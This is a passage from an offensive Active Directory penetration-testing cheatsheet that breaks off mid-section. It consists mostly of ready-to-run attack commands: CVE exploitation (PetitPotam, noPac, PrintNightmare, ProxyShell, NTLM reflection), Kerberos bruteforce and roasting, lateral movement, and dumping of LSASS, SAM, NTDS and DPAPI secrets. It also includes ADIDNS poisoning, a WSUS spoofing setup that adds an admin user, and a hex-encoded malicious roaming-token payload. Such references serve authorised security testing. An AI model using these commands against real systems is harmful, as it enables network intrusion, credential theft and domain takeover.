Then sniff with Wireshark. When it is finish, save the trace in a `.pcap` file and extract the secrets:

```bash
python3 ./Pcredz -f extract.pcap
```

* [Poison the DHCPv6](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-mitm6) answer to receive NTLM or Kerberos authentication
  * NTLM auths can be relayed with `ntlmrelayx`
  * Kerberos auths can be relayed with `krbrelayx` to HTTP endpoints (ADCS, SCCM AdminService API)
* Search for a domain account
  * Look for SMB Guest and null session, and LDAP null bind

```bash
# Check SMB Guest logon and Null session
nxc smb <targets>


# SMB Null/Anonymous session on a DC
nxc smb <DC_IP> -u '' -p '' --users

# LDAP null bind
nxc ldap <DC_IP> -u '' -p '' --users
```

* Perform RID cycling through SMB null session

```bash
nxc smb <target> -u '' -p '' --rid-brute 10000
```

* Perform bruteforce attacks
  * With SMB login bruteforce
  * With Kerbrute bruteforce

Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over `smb_login` is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts!

```bash
./kerbrute userenum -domain domain.local users.txt
```

Test for the Top1000 with `login = password`

Possible other passwords:

```
(empty)
password
P@ssw0rd
```

* Look for juicy [CVEs](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-cves)
* Search for devices like printers, routers, or similar stuff with default creds

In case a printer (or something similar) has an LDAP account, but use the `SASL` authentication family instead of `SIMPLE`, the classic LDAP passback exploitation with a `nc` server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak `PLAIN` and `LOGIN` protocols. [This Docker](https://github.com/pedrojosenavasperez/ldap-passback-docker) permits to operate with weak protocols.

```bash
docker buildx build -t ldap-passback .
docker run --rm -ti -p 389:389 ldap-passback
```

In parallel, listen with tshark:

```bash
tshark -i any -f "port 389" \
  -Y "ldap.protocolOp == 0 && ldap.simple" \
  -e ldap.name -e ldap.simple -Tjson
```

## CVEs

### AD oriented

* [CVE-2025-33073](https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025) - NTLM Reflective relay

Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced **to relay from SMB to SMB**.

If services such as WinRM/S, MSSQL, or HTTP/S are active on the machine (Windows Servers or ADCS PKI, for example), relaying is still possible, even with signing or EPA enabled! Only a complete patch truly blocks it. **The only exceptions are LDAPS and RPC**.

```bash
#Check if a computer is vulnerable
nxc smb <target> -u user1 -p password -M ntlm_reflection

#Setup DNS
dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
	# Or, to target any computer
dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>

#Coerce
PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL

#Chose the service to relay
ntlmrelayx.py -t <target_FQDN> -smb2support -socks
ntlmrelayx.py -t mssql://<target_FQDN> -smb2support -socks
ntlmrelayx.py -t winrms://<target_FQDN> -smb2support -socks
```
* SPNEGO RCE (CVE-2022-37958) - No public POC for the moment
* [PetitPotam pre-auth](https://github.com/topotam/PetitPotam) (CVE-2022-26925)

If the target is not patched, this CVE can be exploited without creds.

```bash
./petitpotam.py -pipe all <attacker_IP> <target_IP>
```

* [NoPac](https://github.com/Ridter/noPac) (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287)

To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one.

```bash
#Get ST
python3 noPac.py domain.local/user1:'password' -dc-ip <DC_IP>

#Auto dump the hash
python3 noPac.py domain.local/user1:'password' -dc-ip <DC_IP> --impersonate administrator -dump -just-dc-user domain/krbtgt
```

* [PrintNightmare](https://github.com/ly4k/PrintNightmare) (CVE-2021-1675 / CVE-2021-34527)

```bash
#Load a DLL hosted on a SMB server on the attacker machine
./printnightmare.py -dll '\\<attacker_IP>\smb\add_user.dll' 'user1:password@<target_IP>'

#Load a DLL hosted on the target, and specify a custom driver name
./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' -name 'Patapouf' 'user1:password@<target_IP>'
```

* [Zerologon](https://www.thehacker.recipes/ad/movement/netlogon/zerologon#password-change-disruptive) (CVE-2020-1472)

The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link.

* EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708)

The exploits in the Metasploit framework are good for these two CVEs.

```bash
#EternalBlue
msf6 exploit(windows/smb/ms17_010_psexec) >

#Blue Keep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
```

* SMBGhost (CVE-2020-0796)

**Be careful, this exploit is pretty unstable and the risk of BSOD is really important.** The exploit in the Metasploit framework is good for this CVE.

```bash
msf6 exploit(windows/smb/cve_2020_0796_smbghost) >
```

* [RC4-MD4 downgrade](https://github.com/Bdenneu/CVE-2022-33679) (CVE-2022-33679)

To exploit this CVE the **RC4-MD4** encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target.

```bash
./CVE-2022-33079.py -dc-ip <DC_IP> domain.local/<as-rep_roastable_user> <target_NETBIOS>
```

* [Credentials Roaming](https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming?s=33) (CVE-2022-30170)

```powershell
# Fetch current user object
$user = get-aduser <victim username> -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp')

# Install malicious Roaming Token (spawns calc.exe)
$malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865"
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose

# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]]
Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose
```

* [Bronze Bit](https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-overview) (CVE-2020-17049)

To exploit this CVE, a controlled service account with constrained delegation to the target account is needed.

```bash
getST.py -force-forwardable -spn <cifs/target.domain.local> -impersonate Administrator -dc-ip <DC_IP> -hashes :<service_account_hash> domain.local/<service_account>
```

* [MS14-068](https://tools.thehacker.recipes/impacket/examples/goldenpac.py)

```bash
goldenPac.py 'domain.local'/'user1':'password'@<DC_IP>
```

### Targeting Exchange server

* ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065)

The exploits in the Metasploit framework are good for these three CVEs.

```bash
msf6 exploit(windows/http/exchange_proxynotshell_rce) >
msf6 exploit(windows/http/exchange_proxyshell_rce) >
msf6 exploit(windows/http/exchange_proxylogon_rce) >
```

* [CVE-2023-23397](https://github.com/Trackflaw/CVE-2023-23397)

This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a `.msg` file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target.

```bash
python3 CVE-2023-23397.py --path '\\<attacker_IP>\'
```

Before sending the email, run Responder to intercept the NTLM hash.

### For local privesc

Look at the [Active Directory cheatsheet](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory) for this part.

## Domain Enumeration

### Domain policy

#### Current domain

```bash
#Domain policy with ldeep
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> domain_policy

#Password policy with NXC
nxc smb <targets> -u user1 -p password --pass-pol
```

#### Another domain

```bash
ldeep ldap -u user1 -p password -d domain.local -s <remote_LDAP_server_IP> domain_policy
```

### Domain controller

The DNS is generally on the DC.

```bash
nslookup domain.local
nxc smb <DC_IP> -u user1 -p password
```

### Users enumeration

#### List users

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users
```

#### User's properties

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v
nxc ldap <DC_IP> -u user1 -p password -M get-desc-users -M get-info-users -M get-unixUserPassword -M getUserPassword
```

#### Search for a particular string in attributes

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v |grep -i password
```

#### Actively logged users on a machine

Needs local admin rights on the target

```bash
nxc smb <target> -u user1 -p password --sessions
```

### User hunting

#### Find machine where the user has admin privs

If a **Pwned** connection appears, admin rights are present. However, if the UAC is present it can block the detection.

```bash
nxc smb <targets_file> -u user1 -p password
```

#### Find local admins on a domain machine

[lookupadmins.py](https://gist.github.com/ropnop/7a41da7aabb8455d0898db362335e139)

```bash
python3 lookupadmins.py domain.local/user1:password@<target_IP>

#NXC
nxc smb <targets> -u user1 -p password --local-groups Administrators
```

### Computers enumeration

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v

#Hostname enumeration
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers --resolve
```

### Groups enumeration

#### Groups in the current domain

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v
```

#### Search for a particular string in attributes

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v |grep -i admin
```

#### All users in a specific group

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> membersof <group> -v
```

#### All groups of an user

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> memberships <user_account>
```

#### Local groups enumeration

```bash
nxc smb <target> -u user1 -p password --local-groups
```

#### Members of a local group

```bash
nxc smb <target> -u user1 -p password --local-groups <group>
```

### Shares / Files

#### Find shares on the domain

```bash
nxc smb <targets> -u user1 -p password --shares
```

A module for searching network shares:`spider_plus`. Running the module without any options (on a /24, for example) will produce a JSON output for each server, containing a list of all files (and some info), but without their contents. Then grep on extensions (conf, ini...) or names (password .. ) to identify an interesting file to search:

```bash
nxc smb <targets> -u user1 -p password -M spider_plus
```

Then, when identifying a lot of interesting files, to speed up the search, dump this on the attacker machine by adding the `-o READ_ONLY=False` option after the `-M spider_plus` (but avoid /24, otherwise it'll take a long time). In this case, NetExec will create a folder with the machine's IP, and all the folders/files in it.

```bash
nxc smb <targets> -u user1 -p password -M spider_plus -o READ_ONLY=False
```

Manspider can also be used for this purpose. It permits to crawl all the shares or specific ones, and filter on file extensions, file names, and file contents.

```bash
# Filter on file names
manspider <targets> -f passw user admin account network login logon cred -d domain -u user1 -p password

# Search for content
manspider <targets> -c passw cpassword -d domain -u user1 -p password

# Search for file extension
manspider <targets> -e bat com vbs ps1 psd1 psm1 pem key rsa pub reg pfx cfg conf config vmdk vhd vdi dit -d domain -u user1 -p password
```

Parameters can be combined.

#### Find files with a specific pattern

```bash
nxc smb <targets> -u user1 -p password --spider <share_name> --content --pattern pass
```

#### Find files with sensitive data

Python version of Snaffler

```bash
pysnaffler 'smb2+ntlm-password://domain\user1:password@<target>' <target>
```

### GPO enumeration

#### List of GPO in the domain

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gpo
```

#### Parse all GPO

```bash
nxc smb <DC_IP> -u user1 -p password -M gpp_privileges

# With gpoParser
gpoParser remote -u user1 -p password -d domain.local -s <DC_IP>
gpoParser query
    # To enrich BloodHound
gpoParser enrich -u $NEO4J_USER -p $NEO4J_PASS -s $NEO4J_SERVER

# With GPOHound
    # Download SYSVOL
smbclient -U "user1"%"password" //<DC_IP>/SYSVOL -c "recurse; prompt; mget *;"
    # Dump GPO from SYSVOL
gpohound dump --neo4j-user $NEO4J_USER --neo4j-pass $NEO4J_PASS -S ./SYSVOL --gpo-name
    # Import in BloodHound
gpohound analysis --neo4j-user $NEO4J_USER --neo4j-pass $NEO4J_PASS -S ./SYSVOL --enrich
```

### Organisation Units

#### OUs of the domain and their linked GPOs

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> ou
```

#### Computers within an OU

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v |grep -i "OU=<OU_name>" |grep -i "distinguishedName"
```

### DACLs

#### All ACLs associated to an object (inbound)

```bash
#With samAccountName
dacledit.py -action read -target <target_samAccountName> -dc-ip <DC_IP> domain.local/user1:password

#With DN
dacledit.py -action read -target-dn <target_DN> -dc-ip <DC_IP> domain.local/user1:password

#With SID
dacledit.py -action read -target-sid <target_SID> -dc-ip <DC_IP> domain.local/user1:password
```

#### Outbound ACLs of an object

These are the rights a principal has against another object

```bash
dacledit.py -action read -target <target_samAccountName> -principal <principal_samAccountName> <-dc-ip <DC_IP> domain.local/user1:password
```

### Trusts

#### Trusts for the current domain

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts
```

### All In One

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> all <prefix>
```

## BloodHound

The Bloodhound-python module doesn't support all the SharpHound features (essentially about GPOs)

### DNS resolution

Sometimes the DNS resolution to find the DC doesn't work very well. **dnschef** can solve this problem:

```bash
dnschef --fakeip <DC_IP> --fakedomains domain.local -q
```

Then, in the BloodHound command specify the DNS address with `-ns 127.0.0.1`, **dnschef** will do the work.

### Basic usage

```bash
# Default collection
bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local --zip

# All collection excepted LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all -dc DC.domain.local --zip
#With LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all,LoggedOn -dc DC.domain.local --zip

#Only collect from the DC, doesn't query the computers (more stealthy)
bloodhound-python -u user1 -p password -d domain.local -c DCOnly -dc DC.domain.local --zip
```

### Specify another Global Catalog

```bash
bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local -gc <hostname> --zip
```

### Interesting Neo4j queries

#### Users with SPNs

```sql
MATCH (u:User {hasspn:true}) RETURN u
```

#### AS-REP Roastable users

```sql
MATCH (u:User {dontrepreauth:true}) RETURN u
```

#### Computers AllowedToDelegate to other computers

```sql
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p
```

#### Shortest path from Kerberoastable user

```sql
MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p
```

#### Computers in Unconstrained Delegations

```sql
MATCH (c:Computer {unconsraineddelegation:true}) RETURN c
```

#### Rights against GPOs

```sql
MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p
```

#### Potential SQL Admins

```sql
MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p
```

#### LAPS

Machine with LAPS enabled

```sql
MATCH (c:Computer {haslaps:true}) RETURN c 
```

Users with read LAPS rights against "LAPS machines"

```sql
MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p
```

### SOAPHound

A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound. This tool is presented in the Active Directory cheatsheet.

### AD Miner

[AD Miner](https://github.com/Mazars-Tech/AD\_Miner) is another solution to display BloodHound data into a web based GUI. It is usefull for its **Smartest paths** feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a `ExecuteDCOM` edge).

### MSSQL

With [MSSQLHound](https://github.com/SpecterOps/MSSQLHound). Presented in the Active Directory cheatsheet.

## Lateral Movement

### WinRM

```bash
evil-winrm -u user1 -p password -i <target_IP>
```

**evil-winrm** permits to open an interactive WinRM session where it is possible to `upload` and `download` items between the target and the attacker machine, load PowerShell scripts, etc.

### SMB

#### From one computer to another one

```bash
psexec.py domain.local/user1:password@<target>
```

#### From one computer to many ones

```bash
nxc smb <targets> -u user1 -p password -X <command>
```

#### Execute immediat scheduled task

```bash
#As the session 0 (SYSTEM)
atexec.py domain.local/user1:password@<target> <command>

#As the user of another session on the machine
atexec.py -session-id <ID> domain.local/user1:password@<target> <command>

nxc smb <target> -u user1 -p password -M schtask_as -o USER=user2 CMD=<CMD>
nxc smb <target> -u user1 -p password -M schtask_as -o USER=user2 CMD=certreq CA=<CA_Name> TEMPLATE=User
```

### WMI

```bash
wmiexec.py domain.local/user1:password@<target>
```

### ShellBrowserWindow DCOM object

```bash
dcomexec.py domain.local/user1:password@<target>
```

### Credentials gathering

#### Check RunAsPPL

Check if RunAsPPL is enabled in the registry.

```bash
nxc smb <target> -u user1 -p password -M runasppl
```

#### Dump creds remotely

```bash
#Dump SAM database on a machine
nxc smb <target> -u user1 -p password --sam

#Dump LSA secrets on a machine
nxc smb <target> -u user1 -p password --lsa
    #In a PDF with LSA_reg2pdf, exec get_pdf, and get_bootkey on your host to parse the PDF
.\get_pdf.exe 1
python3 get_bootkey.py

#Dump through remote registry
reg.py -o \\<attacker_IP>\share domain.local/user1:password@<target> backup
reg.py domain.local/user1:password@<target> query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Dump with an alternative method, regsecrets.py, more discreet
regsecrets.py domain.local/user1:password@target.domain.local

#Dump the lsass process and parse it
nxc smb <target> -u user1 -p password -M lsassy
nxc smb <target> -u user1 -p password -M nanodump
nxc smb <target> -u user1 -p password -M mimikatz
nxc smb <target> -u user1 -p password -M procdump

lsassy -u user1 -p password -d domain.local <target>

minidump domain.local/user1:password@dc.domain.local:/C$/Windows/Temp/lsass.dmp


# Impacket
  # Via DRSUAP
secretsdump.py domain.local/user1:password@<DC>
  # Via NTDSUTIL
secretsdump.py domain.local/user1:password@<DC> -use-vss -just-dc
  # Via WMI Shadow Snapshot
secretsdump.py domain.local/user1:password@<DC> -use-remoteSSWMI -use-remoteSSWMI-NTDS -just-dc
# NetExec
  # Raw dump depuis le disque dur. Aussi disponible via winrm et wmi
nxc smb <target> -u user1 -p password -M ntds-dump-raw
  # Via NTDSUTIL
nxc smb <target> -u user1 -p password -M ntdsutil
  # Via DRSUAPI ou VSS
nxc smb <target> -u user1 -p password --ntds [{drsuapi,vss}]

#DCSync only the NT && LM hashes of a user
secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/user1:password@<DC>

#Retrieve NT hashes via Key List Attack on a RODC
    #Attempt to dump all the users' hashes even the ones in the Denied list
    #Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -full domain.local/user1:password@RODC-server
    #Attempt to dump a specific user's hash
keylistattack.py -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -t user1 -kdc RODC-server.domain.local LIST

#Certsync - retrieve the NT hashes of all the users with PKINIT
#Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users
#Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP>

    #Provide the CA .pfx if it has been obtained with another way
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP> -ca-pfx CA.pfx
```

Many techniques to dump LSASS : [https://redteamrecipe.com/50-Methods-For-Dump-LSASS/](https://redteamrecipe.com/50-Methods-For-Dump-LSASS/)

#### Extract creds locally

The **SYSTEM** hive is needed to retrieve the bootkey and decipher the DB files.

```bash
#Extract creds from SAM and SECURITY (LSA cached secrets)
secretsdump.py -system ./system.save -sam ./sam.save -security ./security.save LOCAL

#Extract creds from NTDS.dit
secretsdump.py -system ./system.save -ntds ./NTDS.save LOCAL
```

Read an LSASS dump with pypykatz:

```bash
pypykatz lsa --json minidump $i | jq 'first(.[]).logon_sessions | keys[] as $k | (.[$k] | .credman_creds)' | grep -v "\[\]" | grep -v "^\[" | grep -v "^\]"
```

#### Credentials Vault & DPAPI

Decipher Vault with Master Key

```bash
dpapi.py vault -vcrd <vault_file> -vpol <vault_policy_file> -key <master_key>
```

Dump all secrets on a remote machine

```bash
DonPAPI.py domain.local/user1:password@<target>
```

Extract the domain backup key with a Domain Admin

```bash
dpapi.py backupkeys --export -t domain.local/user1:password@<DC_IP>
```

Dump all user secrets with the backup key

```bash
DonPAPI.py -pvk domain_backupkey.pvk domain.local/user1:password@<targets>
```

#### GPPPassword & GPP Autologin

Find and decrypt Group Policy Preferences passwords.

```bash
Get-GPPPassword.py domain.local/user1:password@<target>
    #Specific share
Get-GPPPassword.py -share <share> domain.local/user1:password@<target>

#GPP autologin
nxc smb <target> -u user1 -p password -M gpp_autologin -M gpp_password
```

#### Credentials in third-party softwares

Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on.

```bash
python3 client/ThievingFox.py poison --all domain.local/user1:password@<target>
python3 client/ThievingFox.py collect --all domain.local/user1:password@<target>
python3 client/ThievingFox.py cleanup --all domain.local/user1:password@<target>

nxc smb <target> -u user1 -p password -M aws-credentials -M entra-sync-creds -M wam -M eventlog_creds -M iis -M keepass_trigger -M mobaxterm -M mremoteng -M msol -M notepad -M notepad++ -M powershell_history -M putty -M rdcman -M recent_files -M recyclebin -M veeam -M vnc -M wifi -M winscp
```

#### Force a NTLM authentication from a connected user

This attack weaponize DCOM objects to perform actions on behalf of an interactively connected user. Can be mixed with the NTLM downgrade or WebClient attacks to obtain NTLMv1 or HTTP authentication. Explains [here](https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions).

```bash
#With NTLM downgrade
RemoteMonologue.py domain/user1:password@target -auth-to <attacker_IP> -downgrade

#With WebClient and an alternative DCOM object
RemoteMonologue.py domain/user1:password@target -auth-to <attacker_netbios@80> -webclient -dcom FileSystemImage
```

### Pass the Challenge

This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This[ modified version of Pypykatz](https://github.com/ly4k/Pypykatz) must be used to parse the LDAP dump. Full explains [here](https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22).

This attack is presented in the Active Directory cheatsheet.

### Token manipulation

#### Token impersonation with command execution and user addition

[Blog here](https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/).

* List available tokens, and find an interesting token ID

```bash
nxc smb -u user1 -p password -M impersonate -o MODULE=list
```

* With only **SeImpersonatePrivilege**, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default):

```bash
 nxc smb -u user1 -p password -M impersonate -o MODULE=adduser TOKEN=<token_id> CMD="user2 password 'Domain Admins' \\dc.domain.local"
```

* With **SeImpersonatePrivilege and SeAssignPrimaryToken**, if a privileged user's token is present on the machine, it is possible to execute comands on the machine as him:

```bash
 nxc smb -u user1 -p password -M impersonate -o MODULE=exec TOKEN=<token_id> CMD=<command>
```

Look at the Active Directory cheatsheet for other solutions.

#### Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

```bash
masky -d domain.local -u user1 -p <password> -dc-ip <DC_IP> -ca <CA_server_FQDN\CA_name> -o <result_folder> <targets>
```

### Pass The Hash

Globally, all the **Impacket** tools and the ones that use the library can authenticate via Pass The Hash with the `-hashes` command line parameter instead of specifying the password. For **ldeep**, **NetExec** and **evil-winrm**, it's `-H`.

### Over Pass The Hash / Pass The Key

Globally, all the **Impacket** tools and the ones that use the library can authenticate via Pass The Key with the `-aesKey` command line parameter instead of specifying the password. For **NetExec** it's `--aesKey`.

### Kerberos authentication

#### Request a TGT or a ST

```bash
getTGT.py -dc-ip <DC_IP> domain.local/user1:password

getST.py -spn "cifs/target.domain.local" -dc-ip <DC_IP> domain.local/user1:password
```

#### Use the tickets

Load a kerberos ticket in `.ccache` format : `export KRB5CCNAME=./ticket.ccache`

Globally, all the **Impacket** tools and the ones that use the library can authenticate via Kerberos with the `-k -no-pass` command line parameter instead of specifying the password. For **ldeep** it's `-k`.

For **NetExec** it is `-k` with credentials to perform the whole Kerberos process and authenticate with the ticket. If a `.ccache` ticket is already in memory, it is `-k --use-kcache`.

For **evil-winrm** it's `-r <domain> --spn <SPN_prefix>` (default 'HTTP'). The realm must be specified in the file `/etc/krb5.conf` using this format -> `CONTOSO.COM = { kdc = fooserver.contoso.com }`

If the Kerberos ticket is in `.kirbi` format it can be converted like this:

```bash
ticketConverter.py ticket.kirbi ticket.ccache
```

### ADIDNS poisoning

How to deal with the **Active Directory Integrated DNS** and redirect the NTLM authentications to us

* By default, any user can create new ADIDNS records
* But it is not possible to change or delete a record we are not owning
* By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc

If the **wilcard record** (\*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it.

#### Wildcard attack

The char `*` can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP:

```bash
# Check if the '*' record exist
python3 dnstool.py -u "domain.local\user1" -p "password" -a query -r "*" <DNS_IP>

# creates a wildcard record
python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "*" -d <attacker_IP> <DNS_IP>

# disable a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a remove -r "*" <DNS_IP>

# remove a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a ldapdelete -r "*" <DNS_IP>
```

### Feature abuse

#### SCCM / MECM - PXE boot

Check the dedicated [page](https://hideandsec.sh/books/cheatsheets-82c/page/system-center-configuration-manager).

#### WSUS

[Spoof the WSUS server and hijack the update](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wsus-spoofing) if the updates are pushed through HTTP and not HTTPS

```bash
#Find the WSUS server with the REG key
reg.py -dc-ip <DC_IP> 'domain.local'/'user1':'password'@server.domain.local query -keyName 'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver'

#Setup the fake WSUS server
python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'
```

And ARP spoofing with bettercap and a `wsus_spoofing.cap` like this:

```go
# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on
```

```bash
bettercap --iface <network_interface> --caplet wsus_spoofing.cap
```

Now wait for update verification or manually trigger with a GUI access on the machine.

#### Pre-Windows 2000 Computers

Everything is explained [here](https://www.thehacker.recipes/ad/movement/domain-settings/pre-windows-2000-computers).

```bash
nxc ldap <DC_IP> -u user1 -p password -M pre2k
```

## Domain Privesc

### Kerberoast

The Kerberos service ticket (ST) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack. Password hashes of service accounts could be used to create Silver Tickets.

#### Find user with SPN

```bash
GetUserSPNs.py -dc-ip <DC_IP> domain.local/user1:password

#In another domain through trust
GetUserSPNs.py -dc-ip <DC_IP> -target-domain <target_domain> domain.local/user1:password
```

#### Request in JtR/Hashcat format

```bash
GetUserSPNs.py -dc-ip <DC_IP> -request -outputfile hash.txt domain.local/user1:password
```

Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack:

```bash
pypykatz kerberos spnroast -d domain.local -t <target_user> -e 23 'kerberos+password://domain.local\user1:password@<DC_IP>'
```

#### Crack the hash

```bash
john hash.txt --wordlist=./rockyou.txt

hashcat -m 13100 -a 0 hash.txt rockyou.txt
```

### Kerberoast with DES

This attack is presented in the Active Directory cheatsheet.

### Kerberoast w/o creds

#### Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an **AS-REQ request** (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the **sname** attribut in the **req-body** part of the request. Full explains [here](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).

[This PR](https://github.com/SecureAuthCorp/impacket/pull/1413) must be used for the moment.

```bash
GetUserSPNs.py -no-preauth <user_w/o_preauth> -usersfile "users.txt" -dc-host <DC_IP> "domain.local"/
```

#### With MitM

If no principal without pre-authentication are present, it is still possible to intercept the **AS-REQ requests** on the wire (with ARP spoofing for example), and replay them to kerberoast.

```bash
ritm -i <attacker_IP> -t <target_IP> -g <gateway_to_spoof> -u users.txt
```

### AS-REP Roasting

* If a user's **UserAccountControl** settings have "Do not require Kerberos preauthentication" enabled (`UF_DONT_REQUIRE_PREAUTH`) -> Kerberos preauth is disabled -> it is possible to grab user's crackable AS-REP and brute-force it offline.
* With sufficient rights (**GenericWrite** or **GenericAll**), Kerberos preauth can be disabled.

#### Enumerate users

```bash
